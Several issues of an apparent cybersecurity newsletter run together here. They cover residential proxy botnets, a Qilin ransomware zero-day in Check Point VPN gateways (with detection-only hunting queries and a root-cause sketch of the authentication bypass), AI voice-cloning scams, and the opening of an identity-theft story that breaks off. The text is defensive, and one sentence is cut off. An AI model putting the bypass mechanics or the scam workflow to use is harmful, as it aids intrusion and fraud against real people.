Your home Internet router is the backbone of your digital life. It is always on, always connected, and for millions of households, it is compromised. But it doesn’t stop there: Your router, your streaming box, or your smart TV may be routing criminal traffic through your home internet connection while you sleep. And the worst parts: you might have installed the device from the factory in a compromised state. You plug it in, and the illicit routing begins.

The FBI Just Shut Down a Two-Million-Device Crime Network

On July 2, 2026, the FBI seized hundreds of internet domains belonging to a service called NetNut. Google, the IRS Criminal Investigation division, Lumen Technologies, and the Shadowserver Foundation all participated in the takedown. The target: a residential proxy network built on top of two million hijacked consumer devices like routers and streaming boxes. But what makes this case alarming is that the service

According to his enlightening article, Brian Krebs showed that researchers at Synthient among other firms identified NetNut is a proxy service owned by Alarum Technologies, a publicly traded Israeli company on the NASDAQ. And what’s alarming is that NetNut is directly linked to a botnet called Popa. Their business model was straightforward: route paying customers’ internet traffic through real home internet connections so it looks like ordinary browsing. The problem is that the “real home connections” belonged to people who never agreed to participate.

In a single week in June 2026, Google’s Threat Intelligence Group observed 316 distinct threat actor clusters using NetNut exit nodes. They included organized cybercriminal gangs and nation-state espionage groups using your neighbor’s router to mask password-spraying attacks against corporate targets, access stolen accounts, and reach their own criminal infrastructure.

This was the second major residential proxy takedown in six months. In January 2026, Google disrupted IPIDEA, an even larger network. During that operation, researchers observed over 550 threat groups routing attacks through home internet connections. IPIDEA had embedded its software into more than 600 Android apps and 3,000 Windows programs.

After the IPIDEA takedown, its network rebuilt to full capacity within a single day by purchasing access from competitors. The demand for criminal traffic laundered through your home Wi-Fi did not disappear. It migrated.

What “Exit Node” Means for You

When your device becomes an exit node in a residential proxy network, it means other people’s internet traffic is flowing through your home connection. Your IP address, the one your internet provider assigned to your house, is being rented out to strangers.

Here is what that looks like in practice:

A criminal in another country wants to break into a company’s email system. If they attack from their own IP address, security tools flag and block it immediately. But if they route the attack through your router, the company’s security system sees a login attempt from a residential Comcast address in Ohio. That looks normal. It gets through.

Your internet slows down. When unauthorized traffic is flowing through your connection, your bandwidth is being consumed by activity you did not initiate. Streaming buffers. Video calls drop. Downloads crawl.

Your other devices are exposed. Google’s Threat Intelligence Group confirmed that once a device on your network becomes an exit node, attackers can access other devices on that same home network. Your laptop, your phone, your security cameras: all of them are now reachable from the outside.

Your IP address gets flagged. When a criminal uses your connection to commit fraud, send spam, or launch attacks, your IP address is the one that shows up in the logs. You may find yourself blocked from websites, flagged by your internet provider, or in rare cases, investigated for activity you had nothing to do with.

How Devices Get Recruited

Your home devices can become proxy exit nodes through four main channels. None of them require you to do anything overtly reckless.

1. Free VPN apps

This is the most common path. Free VPN services need to pay for their infrastructure somehow. Many of them do it by enrolling your device in a residential proxy network. The terms of service disclose this, technically, buried in paragraphs of legal text that nobody reads. When you install the app and tap “Accept,” you are agreeing to let strangers route their traffic through your phone.

The FBI’s advisory on residential proxy networks specifically warns consumers to exercise caution before downloading free VPN applications.

2. “Bandwidth sharing” apps

Apps that promise to pay you for your “unused internet bandwidth” are doing exactly what they describe: they are selling your connection to third parties. Some of those third parties are advertisers running market research. Others are criminals who need a clean IP address. The app does not distinguish between them.

3. Pirated software and media

Free games, cracked software, pirated movies, and torrented content frequently come bundled with malware that silently enrolls your device as a proxy node. You think you are getting a free copy of Photoshop. You are getting Photoshop and a second job as an unwitting accomplice.

4. Devices that arrive compromised from the factory

This is the channel that should concern you most, because it requires no mistake on your part.

In June 2026, the Wall Street Journal tested five cheap smart home devices purchased from Amazon and Walmart: two digital picture frames and three streaming boxes. All five were compromised out of the box. Within minutes of being plugged in, each device began routing traffic from users around the world through the buyer’s home internet connection. Visits to gambling sites, cryptocurrency platforms, and other destinations started flowing through connections belonging to ordinary families who had just opened a box from Amazon.

The Digital Citizens Alliance estimates that 20 million American homes currently have at least one infected device. The proxy software is baked into the firmware at the factory. Firmware updates cannot remove it because the manufacturer put it there intentionally.

US intelligence agencies have confirmed that Chinese state-sponsored hacking groups Volt Typhoon and Flax Typhoon route espionage traffic through exactly this kind of compromised consumer device infrastructure. A joint advisory issued in April 2026 by CISA, the FBI, the NSA, and eleven international cyber agencies described this as a deliberate strategic shift.

The Numbers

• 2 million+ devices in the NetNut botnet at the time of the FBI seizure

• 550+ threat groups observed using the IPIDEA network in a single week

• 316 threat clusters observed using NetNut exit nodes in a single week in June 2026

• 20 million US homes estimated to have at least one infected device

• 5 out of 5 cheap smart devices tested by the Wall Street Journal were compromised out of the box

• 42% of LG webOS apps and 25%+ of Samsung Tizen apps found to contain residential proxy SDKs

• 65% of enterprise customers queried domains associated with residential proxy networks in 2026

Is Your Network Compromised Right Now?

There is a way to check. Spur, an internet intelligence firm that participated in both the IPIDEA and NetNut investigations, offers a free public tool that analyzes whether your home IP address is currently registered as a proxy node.

Visit the tool from your home Wi-Fi (not from a VPN or cellular connection). If it shows your IP is flagged as a residential proxy, one of your device is likely an exit node.

Beyond that, here are signs that something on your network is working a second shift:

• Unexplained slowdowns. If your internet speed drops without an obvious reason (no one streaming, no large downloads), unauthorized traffic may be consuming your bandwidth.

• Higher-than-normal data usage. Check your internet provider’s dashboard for your monthly data consumption. A sudden spike that does not match your household’s habits is worth investigating.

• Devices running hot or draining battery faster. Proxy malware keeps the network adapter active even when the screen is off. A phone or tablet that runs warm while sitting idle on a nightstand may be routing traffic.

• Getting blocked from websites. If you start seeing CAPTCHAs on every site or get blocked from services you normally access, your IP address may have been flagged for suspicious activity that someone else is performing through your connection.

The Fix: Five Things You Can Do This Week

1. Check your router’s admin panel.

The FTC has a step-by-step guide for logging in. The short version: look at the sticker on the bottom of your router for the admin address and default password, or search “[your router brand] admin login” online. Once you are in, look at the list of connected devices and disconnect anything you do not recognize. While you are there, make sure your router’s firmware is up to date. Most routers have an “Update” button in the admin panel. If your router is more than five years old, it may no longer receive updates, which means known vulnerabilities will never be patched. That is worth a replacement.

2. Delete free VPN apps.

If you installed a free VPN on your phone, tablet, or streaming device, remove it. If you need a VPN, pay for one from a reputable provider with a clear privacy policy and a track record of independent audits. The cost is typically $3 to $8 per month. If the VPN is free, you are the product.

3. Audit your streaming devices.

If you own a cheap streaming box, smart TV dongle, or digital picture frame from an off-brand manufacturer, check whether it carries Google Play Protect certification. On Android devices: open the Google Play Store, tap your profile icon, go to Settings > About, and look for “Device is certified.” If it says anything else, or if the Play Store is not present, treat the device as suspect. The FBI specifically warns against devices that ask you to disable Play Protect during setup.

4. Set up a guest network.

Most modern routers support a guest Wi-Fi network. Put your IoT devices (smart TVs, streaming boxes, smart speakers, cameras, picture frames) on the guest network and keep your computers and phones on the primary network. This way, if a smart device is compromised, it cannot reach your laptop or phone.

5. Stop downloading pirated content.

This is the advice nobody wants to hear. Free games, cracked software, and pirated movies are the primary delivery vehicle for proxy malware. The FBI’s advisory names this as a top infection vector. A $15 streaming subscription is cheaper than having your home network conscripted into a criminal botnet.

The Bottom Line

Your home router is the front door to your digital life. Everything in your house connects through it: your banking, your email, your kids’ homework, your security cameras. When a criminal turns that router into an exit node, they are not just borrowing your internet connection. They are standing inside your network, with access to everything connected to it, using your address as their alibi.

The FBI and Google just shut down a network that had conscripted two million devices. But the market for residential proxies did not disappear with it. After the last takedown in January, the network rebuilt in a single day. The next one is already being assembled.

Take fifteen minutes this week. Log into your router. Delete the free VPN. Check your streaming boxes. Set up a guest network. Run the Spur check on your IP address.

Two million devices were working for criminals last week. Make sure yours is not one of them.

If you believe your devices have been compromised:

• FBI IC3: ic3.gov

• FTC: reportfraud.ftc.gov or 877-382-4357

• Spur IP Check: spur.us/context

• Your ISP: Contact your internet provider if your IP has been flagged; they can issue a new address

Sources

• FBI Seizes NetNut Proxy Platform, Popa Botnet (Krebs on Security, July 2026)

• Google’s Continued Disruption of Malicious Residential Proxy Networks (Google Cloud Blog, July 2026)

• Google Disrupts NetNut Residential Proxy Network Spanning 2 Million Home Devices(The Hacker News, July 2026)

• NetNut proxy network disrupted, 2 million infected devices cut off(BleepingComputer, July 2026)

• NetNut botnet takes a hit. Don’t be part of the next one. (Malwarebytes, July 2026)

• Disrupting the World’s Largest Residential Proxy Network (Google Cloud Blog, January 2026)

• Cheap Amazon TV boxes and photo frames are secretly committing crimes(Techlicious, June 2026)

• FBI and Google Disrupt NetNut Botnet That Rented 2 Million Home Devices to Spies(TechTimes, July 2026)

• FBI, Google Take Down NetNut Proxy Network Used by Cyber Threat Actors(Infosecurity Magazine, July 2026)

Prevent This is a weekly cybersecurity newsletter from Intruvent Technologies. Each week, we break down one cyber threat in plain language and give you the tools to protect yourself and the people you care about. For our bi-weekly technical deep dive, check out Intruvent Edge.

For years, the deal with ransomware was simple. The affiliates were opportunists. They swept the internet for unpatched Fortinet boxes, aging Veeam servers, and SonicWall appliances that someone forgot to update. If you patched inside the vendor’s window and stayed current with CISA’s Known Exploited Vulnerabilities catalog, you were faster than the criminals. That was the whole strategy: do not be the slowest gazelle.

In June 2026, the most prolific ransomware operation on earth broke that deal. Qilin exploited a Check Point VPN vulnerability that was live in the wild for a full month before the vendor disclosed it. There was no patch to be behind on. The window you were supposed to beat did not exist yet.

This is the capability that used to belong to nation-states. It now belongs to a criminal enterprise that claimed roughly 141 organizations in a single trailing 30-day window, more than double its closest competitor. Here is what happened, why it matters more than the CVE score suggests, and what to do about an edge device you have been treating as trustworthy.

What Happened

On June 8, 2026, Check Point disclosed CVE-2026-50751, a critical authentication bypass in its Security Gateway product. The flaw is pretty technical, but the short version is that an unauthenticated remote attacker can jump onto that system without a valid password.

The disclosure date is not the important date. The important date is May 7, one month earlier, which is when exploitation in the wild actually began. For a full month, attackers were bypassing authentication on internet-facing Check Point VPNs while the vulnerability had no CVE, no advisory, and no hotfix. That is the definition of a zero-day: exploited before the defender had any way to know it existed.

The attribution is not ours to claim. Check Point Research assesses with medium confidence that the actor is a financially motivated operator using Qilin ransomware, based on binary analysis of the ELF payloads the attacker pulled from its own infrastructure after each bypass. Rapid7 independently corroborated two high-confidence cases, and watchTowr Labs published the root-cause analysis of the flaw. If that attribution holds, this is the first confirmed instance of Qilin operating on a zero-day, which reframes the group from a fast follower into something closer to an advanced persistent threat with a profit motive.

Why a Zero-Day Changes the Ransomware Math

To understand why this matters, look at how ransomware affiliates have historically gained initial access. The playbook was n-day exploitation: wait for a vulnerability to be disclosed, reverse-engineer the patch, and race to exploit the organizations that had not applied it yet. The entire model depended on defender slowness. Akira built a franchise on exactly this, sweeping unpatched SonicWall (CVE-2024-40766) and FortiOS (CVE-2024-55591) appliances that lagged on updates.

Against n-day exploitation, patching works. It is a race, and diligent teams win it. The organizations that get hit are the ones that fell behind.

Zero-day exploitation inverts the entire relationship. There is nothing to patch, no advisory to read, no KEV entry to prioritize. Every Check Point Remote Access VPN running IKEv1 was exploitable on May 7, and the most current, most diligent, most well-resourced security team in the world was exactly as exposed as the one that never patches anything. Speed stopped being a defense.

This capability is expensive. Developing or acquiring a working zero-day against enterprise VPN infrastructure implies either in-house exploit development or a purchase from an initial access broker with serious resources. Ransomware groups have historically not spent money this way because they did not need to. n-day exploitation was cheap and it worked. Qilin choosing to operate at this level is a signal about where the economics of the top-tier ransomware operations have gone.

Who Is Qilin

Qilin has held the top of the ransomware leaderboard for five straight months through May 2026. The numbers, drawn from public leak-site tracking are staggering. In one trailing 30-day window they claimed to have hit 141 organizations across at least 25 countries, more than double the next-most-active group. They posted 101 victims in May alone, the fifth consecutive month above 100, for 546 claimed victims through the first five months of the year. One caveat that public trackers stress: Qilin averages roughly 46 days between an attack and the leak-site listing, so today’s numbers reflect intrusions from one to two months ago and June’s total is still filling in.

Three structural facts make Qilin more dangerous than the raw victim count suggests.

It runs as a cartel. Since September 2025, Qilin has operated alongside LockBit and DragonForce in a shared arrangement, pooling affiliates and infrastructure. An affiliate who breaks into your network may deploy whichever of the three encryptors is operationally convenient. This also insulates the operation against takedown pressure, because dismantling one brand does not remove the shared affiliate pool or tooling.

It pays affiliates well. Qilin reportedly offers operators a revenue split as high as 85 percent, which pulls skilled affiliates out of defunct operations and concentrates talent. A group that attracts the best affiliates and now supplies them with a VPN zero-day is a materially different threat than a commodity ransomware brand.

It targets the edge. Qilin’s access pattern centers on internet-facing appliances: VPNs, backup infrastructure, and remote access gateways. CVE-2026-50751 fits this pattern precisely, and Check Point gateways sit at the IT and OT boundary in energy utilities, manufacturers, and industrial operators. An authentication bypass on that device is unauthenticated access to the exact chokepoint that is supposed to enforce perimeter trust.

Why Traditional Controls Miss the Front End of This Attack

The encryption stage of a Qilin attack is loud and obvious. The initial access stage, through this vulnerability, is quiet in a way that defeats most of the controls organizations rely on.

The authentication looks successful because it is. The attacker establishes a valid VPN session. From the gateway’s perspective, a Remote Access connection was negotiated and accepted. There is no failed-login spike to alert on, because the bypass produces a successful authentication event, not a brute-force pattern.

The vulnerable protocol is one most teams forgot they were running. IKEv1 is deprecated. Many organizations enabled it years ago for legacy client compatibility and never turned it off. It sits in the configuration, unused and unwatched, until it becomes the entry point.

Patch-cadence metrics gave false comfort. A team measuring itself on mean-time-to-patch against KEV deadlines looked healthy through the entire month of exploitation. There was nothing to patch. The metric that was supposed to measure exposure was blind to it.

The edge device is trusted by design. The VPN gateway is the thing that establishes trust for everything behind it. Once an attacker is through it with a valid session, they are inside the boundary that most internal monitoring assumes is friendly.

Detection and Hunting

Because there was a month of pre-disclosure exploitation, patching now is necessary but not sufficient. If you run Check Point Remote Access VPN with IKEv1, you must hunt the pre-patch window, not just apply the hotfix. The queries below are written generically. Adapt field names to your VPN and SIEM schema.

Start at the network layer. The exploit lives in a single malformed IKEv1 packet. watchTowr Labs traced the root cause to the VPNExtFeatures Vendor ID payload: the gateway reads four attacker-controlled trailing bytes and writes them straight into an authentication flag register, letting the client set a bit that disables signature verification. Enable the Check Point IPS signatures released with the hotfix so the gateway rejects the crafted Vendor ID. watchTowr also published a detection artifact generator (their watchTowr-vs-Check-Point-CVE-2026-50751 tool) that safely tests whether a gateway still accepts the malicious payload, which is the fastest way to confirm your remediation actually took.

DETECTION ONLY: VPN Sessions Established Over IKEv1 (May 7 Onward)

-- Surface Remote Access / Mobile Access sessions negotiated over IKEv1
-- since the start of the exploitation window. IKEv1 should be rare or
-- absent in a modern deployment; every hit deserves review.
index=vpn sourcetype=checkpoint
  (action=session_established OR event=login)
  ike_version=”IKEv1”
  earliest=”05/07/2026:00:00:00”
| stats count, values(src_ip) as src_ips,
        min(_time) as first_seen, max(_time) as last_seen
        by user, gateway
| sort - count

DETECTION ONLY: Successful VPN Auth Without a Preceding Credential Event

-- A bypass yields a successful session with no password or MFA event
-- in front of it. Collect session and auth events together, group by
-- user + source, and flag any that established a session but never
-- produced a credential event. Correlate on a session/connection ID
-- instead of user+src_ip if your logs carry one (more precise).
index=vpn sourcetype=checkpoint
  (action=session_established OR event=mfa_challenge OR event=password_auth)
  earliest=”05/07/2026:00:00:00”
| stats sum(eval(if(action=”session_established”,1,0))) as sessions
        sum(eval(if(event=”mfa_challenge” OR event=”password_auth”,1,0))) as creds
        min(_time) as first_seen max(_time) as last_seen
        by user, src_ip
| where sessions > 0 AND creds = 0
| table first_seen, last_seen, user, src_ip, sessions

DETECTION ONLY: Post-VPN Lateral Movement From Gateway Client Pool (KQL)

// New internal connections originating from VPN client-pool addresses
// reaching domain controllers, backup servers, or hypervisor management.
// ipv4_is_in_range() does the CIDR match; a plain string compare will not.
DeviceNetworkEvents
| where Timestamp >= datetime(2026-05-07)
| where ipv4_is_in_range(LocalIP, “10.10.20.0/24”)   // set to your VPN client pool
| where RemoteIPType == “Private”
| where RemotePort in (3389, 445, 5985, 902, 443)    // RDP, SMB, WinRM, ESXi, HTTPS
| summarize Connections=count(), Targets=make_set(RemoteIP)
    by LocalIP, bin(Timestamp, 1h)
| where Connections > 20

All three queries are detection and triage aids. They will surface legitimate remote access alongside anomalies. Review the results with an analyst. Do not wire them to automated blocking, and do not block VPN client-pool ranges at the network level, because doing so will disrupt legitimate remote users.

What You Should Do

Immediate (Today)

1. Apply the Check Point hotfix for CVE-2026-50751 across every Security Gateway running Remote Access or Mobile Access. Reference Check Point advisory sk185033.

2. Disable IKEv1. If any gateway still negotiates IKEv1, turn it off and move remaining clients to IKEv2. The deprecated protocol is the vulnerable surface. Removing it closes the door independent of patch status.

3. Hunt the May 7 to June 8 window. Run the queries above. Assume the appliance may have been reached before you patched, and look for the evidence rather than trusting the hotfix to be retroactive. It is not.

4. Force-reset credentials and invalidate active VPN sessions if you find any IKEv1 session you cannot tie to a known user, then treat it as a potential intrusion and open an incident.

This Week

1. Inventory every internet-facing remote access and edge appliance, not only Check Point. VPN concentrators, backup servers, and management interfaces are the assets ransomware groups now buy zero-days to reach.

2. Segment the VPN client pool away from crown-jewel systems. Domain controllers, backup infrastructure, and hypervisor management should not be reachable directly from a freshly established VPN session without additional authentication.

3. Verify backup immutability and recovery isolation. Qilin deletes shadow copies and inhibits recovery. Confirm at least one backup tier is offline or immutable and test that you can actually restore from it.

4. Instrument the edge for behavior, not just patch state. Feed VPN session logs into your SIEM and baseline normal session origins and post-connection behavior so a bypass session stands out even when the authentication looks clean.

Going Forward

1. Retire the patch-cadence-as-safety assumption. Mean-time-to-patch remains a useful hygiene metric, but it measures exposure to n-day threats only. Against a ransomware group with zero-day capability, it is silent. Add pre-disclosure hunting and edge-behavior monitoring to your program so your assurance does not depend on a patch existing.

2. Treat edge appliances as pre-breach. Assume the internet-facing device can be reached by an unauthenticated attacker at any time and design what sits behind it accordingly. Defense in depth behind the VPN is the control that survives a zero-day; perimeter trust is the control that does not.

3. Track the ransomware cartels as capability ecosystems. Qilin, LockBit, and DragonForce share affiliates and tooling. A new technique proven by one becomes available to all. Watch the cartel, not the brand on the ransom note.

The Bigger Picture

The comfortable story about ransomware was that it targeted the careless. The groups were opportunists, the reasoning went, and opportunists take the easy target. Keep your patches current, keep your KEV deadlines, keep your appliances updated, and the criminals would move on to someone slower. For a long time that story was mostly true.

CVE-2026-50751 is the moment that story stopped being reliable. When the most prolific ransomware operation of the year is willing to spend zero-day money to get inside your VPN a month before anyone knows the flaw exists, being current is no longer the same as being safe. The defenders who patched on day one and the defenders who never patch were equally exposed for the entire month of May.

This does not mean patching is pointless. It means patching is table stakes, and the real defensive posture has moved past it. The organizations that weather this shift will be the ones that stopped trusting their edge devices, segmented aggressively behind them, protected their recovery path, and learned to hunt for the quiet successful login rather than the loud failed one. The organizations that keep measuring their safety by how fast they close a window will keep being surprised by the attacks that never opened one.

Nation-state tradecraft has been trickling down to criminal operations for a decade. This is the trickle becoming a stream. Plan for the version of ransomware that does not wait for your patch cycle, because it is already here and it is claiming more than a hundred organizations a month.

Indicators of Compromise

Source: The atomic indicators (IP addresses and file hashes) in this section are published by Check Point Research in advisories sk185033 and sk185035. The behavioral and host indicators are drawn from Check Point, Rapid7, and watchTowr Labs reporting. Intruvent has aggregated and tiered them for operational use; we did not independently source them from our own casework.

Check Point updates its list over time, so treat the primary advisory as authoritative and pull the current version before you operationalize anything here.

⚠ Blocking Guidance (read before you act)

Sources

• Check Point Research, state-of-exploitation analysis and Qilin attribution (medium confidence, binary analysis), June 2026

• Check Point advisories and hotfix, support references sk185033 and sk185035 (mitigation: IKEv2-only, mandatory machine certificate, IPS signatures; atomic IOCs)

• NVD, CVE-2026-50751: nvd.nist.gov/vuln/detail/CVE-2026-50751 (CVSS 9.3, CWE-287)

• CISA Known Exploited Vulnerabilities Catalog, entry added June 8, 2026 (known ransomware campaign use, federal due date June 11)

• BleepingComputer, “Check Point links VPN zero-day attacks to Qilin ransomware gang,” June 2026

• SecurityWeek, “Check Point VPN Zero-Day Exploited in Qilin Ransomware Attacks,” June 2026

• Rapid7 emergent threat response, CVE-2026-50751 (two high-confidence exploitation cases)

• watchTowr Labs, “Marking Your Own Homework,” root-cause analysis and detection artefact generator (watchTowr-vs-Check-Point-CVE-2026-50751)

• Help Net Security (exploitation and PoC coverage, June 8 and June 12, 2026) and The Hacker News, June 8, 2026

• Breachsense May 2026 ransomware report and Privacy Insight Solutions Qilin profile (victim volume, leaderboard, 46-day listing lag)

Attribution note: the CVE-2026-50751-to-Qilin linkage is Check Point Research’s medium-confidence assessment, independently corroborated by Rapid7 and watchTowr Labs. Qilin victim counts are derived from public leak-site tracking (Breachsense, Privacy Insight Solutions, Comparitech), which tends to run high, and are presented as claimed figures.

Welcome to Prevent This, our weekly community newsletter covering cybersecurity for everyone. If you found us through Intruvent Edge, our bi-weekly technical deep dive, welcome. Both live on the same Substack. Feel free to share either one. We’re glad you’re here.

Three seconds of audio. That is all it takes to clone a human voice with enough accuracy to fool the person who raised it.

The Call That Sounded Exactly Like Her Daughter

Deborah Del Mastro was at home when her phone rang. A man on the other end said he had kidnapped her daughter and wanted $20,000 for her release. Before Deborah could respond, she heard her daughter’s voice. Crying. Pleading. Begging for help.

It sounded exactly like her.

Deborah sent $5,000 before she was able to confirm that her daughter was safe, sitting at her own kitchen table in another city, completely unaware that anything had happened.

In Florida, another woman heard what she believed was her daughter sobbing after a serious car accident. She sent $15,000. Her daughter had not been in any accident.

In Hong Kong, a finance worker joined what appeared to be a routine video call with colleagues. Every face on the screen was familiar. Every voice matched. He followed instructions from his CFO to transfer funds across several accounts. By the time anyone realized the entire call had been fabricated, $25 million was gone.

None of these people were careless. None of them ignored warning signs. They heard a voice they trusted, and they responded the way any of us would.

The voice was fake. The emotion it triggered was real. And that gap between what you hear and what is actually happening is where the money goes.

How Three Seconds Becomes a Perfect Copy

Voice cloning technology has existed in research labs for years. What changed in 2025 and 2026 is that it became fast, cheap, and available to anyone with an internet connection.

Here is how it works in practice:

Step 1: Harvest. The scammer needs a sample of the target’s voice. A birthday video on Instagram. A work presentation posted to LinkedIn. A voicemail greeting. A TikTok. A podcast appearance. Three seconds of clear audio is enough for modern cloning tools to build a working voice model. Longer samples produce better results, but the minimum threshold is startlingly low.

Step 2: Clone. The audio sample is fed into a voice synthesis tool. Some of these tools are commercial products marketed for legitimate uses (audiobook narration, accessibility, content creation). Others are open-source models that anyone can download and run on a laptop. The tool analyzes the pitch, cadence, rhythm, and tonal characteristics of the voice and builds a model that can say anything typed into a text box.

Step 3: Call. The scammer places a phone call using the cloned voice. Some run the voice model in real time, typing responses and having the AI speak them aloud during the conversation. Others pre-record a few panicked phrases (“Mom, help me,” “Please, I’m scared,” “They won’t let me go”) and play them in the background while a human handler runs the negotiation.

The phone number on caller ID can be spoofed to show the victim’s real number. The voice sounds right. The area code matches. The emotional context (an accident, an arrest, a kidnapping) is designed to shut down the part of your brain that would normally pause and verify.

The entire setup costs less than a restaurant dinner. Some voice cloning tools are free.

The Numbers

The FBI’s Internet Crime Complaint Center reported $893 million in losses to AI-powered scams in 2025, including voice cloning, AI-generated phishing, and deepfake fraud. That figure sits inside a record $20.9 billion in total reported cybercrime losses for the year, up 26% from the year before.

One in four Americans has received an AI-generated deepfake voice call in the past year. Not one in a hundred. Not one in ten. One in four. If you are reading this in a room with three other people, statistically one of you has already gotten the call.

The FCC classified AI-generated voices in robocalls as illegal under the Telephone Consumer Protection Act earlier this year, giving state attorneys general the authority to prosecute. But enforcement lags behind the technology. The tools are getting cheaper and more convincing faster than regulators can respond.

The people most frequently targeted are older adults. The FBI’s warning specifically highlights seniors worried about children and grandchildren as the primary audience for these scams. But the Hong Kong case proves this is not a “grandparent problem.” A trained finance professional on a video call with familiar faces still got fooled. The technology works on anyone whose first instinct is to help someone they love.

Why Your Brain Falls for It

Voice is one of the most trusted signals we have. You learned your mother’s voice before you learned her face. A crying child, a panicked spouse, a frightened parent: these sounds bypass rational thought and go straight to action. Scammers have understood this for decades. What AI gave them is the ability to put any voice they want on the other end of the phone.

The old version of this scam, sometimes called the “grandparent scam,” relied on a vague impersonation. The caller would say “Grandma, it’s me” and let the victim fill in the name. It worked often enough to be profitable, but it also failed often enough that alert targets could catch it.

The AI version does not rely on vagueness. The voice is specific. It sounds like one person and only that person. When the scammer says “Mom, I’m in trouble,” it sounds like your kid. Not a kid. Your kid.

That specificity is what makes the scam so effective, and it is also what makes the defense so simple.

The Fix: One Text Message, Right Now

The FBI’s top recommendation for defending against voice cloning scams is free, takes 30 seconds, and does not require any technology:

Set a family safe word.

Send a text message to every person you would call in an emergency: your parents, your kids, your spouse, your siblings, your closest friends. Pick a word or phrase that has no connection to anything public. Not your pet’s name (it’s on Instagram). Not your street (it’s on your driver’s license). Not your high school mascot (it’s on Facebook).

Pick something random and private. “Purple stapler.” “Taco emergency.” “Foghorn.” Anything that an AI cannot guess because it was never posted, spoken, or written anywhere online.

The rule is simple: if someone calls asking for money, help, or urgent action, you ask for the safe word first. If they cannot give it, you hang up and call the person directly at a number you already have saved.

An AI can clone a voice. It cannot clone a secret.

What Else You Can Do

1. Hang up. Call back.

If you get a call from someone claiming to be a family member in distress, hang up and dial them directly. Use the number saved in your contacts, not a number the caller gives you. If the person is truly in danger, they will still be in danger 60 seconds from now when you call back. If they are not, you just saved yourself thousands of dollars.

This single step defeats the entire scam. Voice cloning only works if the call continues without interruption. The moment you break the connection and initiate your own, the illusion ends.

2. Lock down your voice online.

Scammers build voice clones from public audio. The less of your voice that exists online, the harder you are to clone.

• Set social media to private. Instagram Reels, TikTok videos, Facebook Stories, and YouTube clips are the primary sources. You do not have to stop posting. You just need to control who can access your content.

• Change your voicemail greeting. A default carrier greeting (“The person you are calling is not available”) gives a cloner nothing to work with. A personalized greeting with your name and voice gives them everything they need.

• Think before you share voice notes. WhatsApp and iMessage voice notes are convenient. They are also perfect voice samples. In group chats with people you do not know well, consider typing instead.

3. Watch for the red flags.

Even a convincing voice clone leaves clues if you know what to listen for:

Unusual pauses or flat spots. Real-time voice cloning introduces tiny delays. If the “person” on the other end takes a beat too long to respond, or their voice lacks the natural ums and hesitations of real speech, something may be off.

• Emotional pressure to act immediately. “Don’t hang up.” “Don’t call anyone.” “They said they’ll hurt me if you tell anyone.” Every version of this scam depends on urgency. The moment someone tells you not to verify, that is exactly when you should verify.

• Unusual payment methods. Wire transfers, Venmo, gift cards, cryptocurrency, Zelle. Legitimate emergencies (bail, hospital bills, accident costs) are never resolved with gift cards from CVS.

4. Have the conversation with your parents.

If you have parents or grandparents who are not technically inclined, this is the article to share with them. The scam is specifically designed to exploit the people who love you most. A parent who hears their child screaming for help will act first and think second. That instinct is human nature, and the safe word gives them a pause button.

Offer to set it up with them. Send the text. Pick the word together. Make sure they know: if anyone calls asking for money using your voice, ask for the word. If they do not have it, hang up and call back.

We wrote in April about scammers targeting people during their worst moments. Voice cloning is the tool that makes those scams work. The defense is the same: slow down, verify, and never let urgency override judgment.

The Bottom Line

Three seconds of audio from a birthday video. That is all it takes to build a voice that can make your mother send $5,000 to a stranger.

The technology is cheap, accessible, and improving every month. The FBI logged nearly $900 million in AI scam losses last year, and one in four Americans has already received a deepfake call. The FCC has made AI-generated robocalls illegal, but the law cannot move faster than a laptop with a free voice cloning tool and a spoofed phone number.

The fix does not require technology. It requires a conversation.

Send a text to your family today. Pick a word nobody else could guess. Agree that no matter how real a voice sounds, no matter how scared the caller seems, the word comes first. If they cannot say it, hang up and call back.

An AI can sound exactly like the person you love most. It cannot know what you agreed on over breakfast.

If you or someone you know has been targeted by a voice cloning scam:

• FBI IC3: ic3.gov

• FTC: reportfraud.ftc.gov or 877-382-4357

• Local law enforcement: File a police report, especially if money was sent

• Your bank: If funds were transferred, contact your bank’s fraud department immediately; some wire transfers can be recalled within 24 hours

Sources

• FBI PSA I-062626-PSA: Russian Intelligence Targeting Signal Backup Keys (June 2026)

• FBI warns of AI voice cloning scam mimicking loved ones (Click2Houston, June 2026)

• AI voice cloning scams are on the rise (CNN, May 2026)

• FBI: AI voice cloning scams drained nearly $900 million (MoneyWise, 2026)

• FBI warning: deepfake kidnappings target seniors (SavingAdvice, May 2026)

• 1 in 4 people have encountered AI voice cloning scams (SavingAdvice, May 2026)

• AI voice cloning scams 2026: how to protect your family (LumiChats)

• AI scams stole $21 billion: how to protect yourself (Financial Freedom Tracker, 2026)

• FTC: How to spot scams that start on social media (April 2026)

Prevent This is a weekly cybersecurity newsletter from Intruvent Technologies. Each week, we break down one cyber threat in plain language and give you the tools to protect yourself and the people you care about. For our bi-weekly technical deep dive, check out Intruvent Edge.

A $30 fishing license. A cruise vacation. A hotel check-in. A job application at McDonald’s. None of these should ruin your life. But for millions of people this year, handing over an ID for one of these everyday moments put them on a list they never asked to be on.

The Man Who Lost a Decade to a Stolen Social Security Number

Dan Kluver is a factory worker in Olivia, Minnesota. He coaches baseball. He teaches Sunday school. He spent four decades without ever getting into trouble. He wants to get his story out there to prevent similar things from happening to you.

One day, Kluver got pulled over during a routine traffic stop. The officer told him his license had been suspended. Kluver had no idea why. It turned out there was a second driver’s license with his name on it being used in Missouri. Someone had purchased his Social Security number off the black market and had been living under his identity for 15 years.

To the IRS, it looked like one Daniel Kluver was working several jobs across two states and paying taxes at a rate far below what he owed. The IRS started garnishing his paychecks. His wife Kristy emptied her savings before their 2012 wedding, sending a $6,000 check to cover the balance. Their relief lasted until the next tax season, when a new bill arrived. This one was for $22,000.

They spent the next decade living with the consequences. Annual tax audits. Budgets that never added up. Paychecks that arrived lighter than they should have been.

Then came the part that no credit monitoring service could have prevented. The person using Kluver’s identity was involved in a fatal car accident that killed a 68-year-old grandfather and injured his 9-year-old granddaughter. The name on the driver’s license at the scene? Daniel Kluver. A wrongful death lawsuit was filed against him.

One stolen document. Fifteen years. A drained savings account, a decade of IRS audits, and a wrongful death lawsuit with his name on it.

Kluver’s story, originally reported in 2025, is the worst-case version of something that is now happening at industrial scale. The difference between 2010 and 2026 is volume. Back then, someone bought Kluver’s Social Security number from a single contact for cash. Today, companies are losing millions of identity documents at a time, and most of us are the ones handing them over.

